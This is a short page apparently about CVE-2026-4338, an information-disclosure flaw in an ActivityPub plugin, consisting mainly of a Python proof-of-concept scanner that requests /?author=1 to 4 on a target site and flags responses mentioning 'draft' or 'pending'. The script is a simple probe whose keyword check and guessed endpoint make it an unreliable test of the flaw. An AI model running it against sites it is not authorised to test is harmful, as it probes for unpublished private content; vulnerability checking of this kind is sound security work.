CVE-2026-4338: ActivityPub插件敏感信息泄露漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4338 (ActivityPub Plugin Information Disclosure) import requests def check_vulnerability(target_url): # Attempt to access the ActivityPub feed which might expose drafts # The endpoint usually looks like /?author=ID or similar depending on config headers = { 'User-Agent': 'CVE-2026-4338-Scanner' } # Testing common author endpoints to find exposed posts for author_id in range(1, 5): url = f"{target_url.rstrip('/')}/?author={author_id}" try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Requested {url}") # Check for keywords indicating draft or pending status in the HTML/JSON response if "draft" in response.text.lower() or "pending" in response.text.lower(): print(f"[!] Potential sensitive content found for Author ID {author_id}") return True except Exception as e: print(f"[-] Error connecting to {url}: {e}") return False if __name__ == "__main__": target = "http://example.com" # Replace with target check_vulnerability(target)